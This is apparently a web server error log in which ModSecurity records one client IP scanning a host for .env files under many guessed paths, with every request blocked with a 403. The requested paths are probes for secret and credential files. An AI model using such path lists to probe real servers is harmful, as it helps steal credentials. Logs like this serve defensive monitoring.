[Thu Feb 26 01:02:56.616359 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/Kubernetes/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkcAAAAAM&quot;]
[Thu Feb 26 01:02:56.642133 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /boxes/oracle-vagrant-boxes/olcne/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/OLCNE/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkcQAAAAM&quot;]
[Thu Feb 26 01:02:56.642467 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/OLCNE/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkcQAAAAM&quot;]
[Thu Feb 26 01:02:56.642647 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/OLCNE/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkcQAAAAM&quot;]
[Thu Feb 26 01:02:56.650220 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /back/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHjwAAAAQ&quot;]
[Thu Feb 26 01:02:56.650492 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHjwAAAAQ&quot;]
[Thu Feb 26 01:02:56.650644 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHjwAAAAQ&quot;]
[Thu Feb 26 01:02:56.672193 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env.local&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHkAAAAAQ&quot;]
[Thu Feb 26 01:02:56.672481 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env.local&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHkAAAAAQ&quot;]
[Thu Feb 26 01:02:56.672651 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env.local&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHkAAAAAQ&quot;]
[Thu Feb 26 01:02:56.682692 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bucoffea/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bucoffea/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkcgAAAAM&quot;]
[Thu Feb 26 01:02:56.682960 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bucoffea/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkcgAAAAM&quot;]
[Thu Feb 26 01:02:56.683142 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bucoffea/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkcgAAAAM&quot;]
[Thu Feb 26 01:02:56.724006 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/config/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHkQAAAAQ&quot;]
[Thu Feb 26 01:02:56.724333 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/config/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHkQAAAAQ&quot;]
[Thu Feb 26 01:02:56.724499 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/config/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHkQAAAAQ&quot;]
[Thu Feb 26 01:02:56.798784 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /build/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkdQAAAAM&quot;]
[Thu Feb 26 01:02:56.799037 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkdQAAAAM&quot;]
[Thu Feb 26 01:02:56.799197 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkdQAAAAM&quot;]
[Thu Feb 26 01:02:56.841417 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/src/.env&quot;] [unique_id &quot;aZ-NsCk1SHHL9bIjTI-PTwAAAAU&quot;]
[Thu Feb 26 01:02:56.841646 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/src/.env&quot;] [unique_id &quot;aZ-NsCk1SHHL9bIjTI-PTwAAAAU&quot;]
[Thu Feb 26 01:02:56.841801 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/src/.env&quot;] [unique_id &quot;aZ-NsCk1SHHL9bIjTI-PTwAAAAU&quot;]
[Thu Feb 26 01:02:56.874199 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backendfinaltest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backendfinaltest/.env&quot;] [unique_id &quot;aZ-NsCk1SHHL9bIjTI-PUAAAAAU&quot;]
[Thu Feb 26 01:02:56.874442 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backendfinaltest/.env&quot;] [unique_id &quot;aZ-NsCk1SHHL9bIjTI-PUAAAAAU&quot;]
[Thu Feb 26 01:02:56.874593 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backendfinaltest/.env&quot;] [unique_id &quot;aZ-NsCk1SHHL9bIjTI-PUAAAAAU&quot;]
[Thu Feb 26 01:02:56.988490 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /base_dir/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/base_dir/.env&quot;] [unique_id &quot;aZ-NsCk1SHHL9bIjTI-PUwAAAAU&quot;]
[Thu Feb 26 01:02:56.988762 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/base_dir/.env&quot;] [unique_id &quot;aZ-NsCk1SHHL9bIjTI-PUwAAAAU&quot;]
[Thu Feb 26 01:02:56.988940 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/base_dir/.env&quot;] [unique_id &quot;aZ-NsCk1SHHL9bIjTI-PUwAAAAU&quot;]
[Thu Feb 26 01:02:57.023315 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /basic-network/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/basic-network/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PVAAAAAU&quot;]
[Thu Feb 26 01:02:57.023570 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/basic-network/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PVAAAAAU&quot;]
[Thu Feb 26 01:02:57.023736 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/basic-network/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PVAAAAAU&quot;]
[Thu Feb 26 01:02:57.032332 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cardea/backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cardea/backend/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkfAAAAAM&quot;]
[Thu Feb 26 01:02:57.032578 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cardea/backend/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkfAAAAAM&quot;]
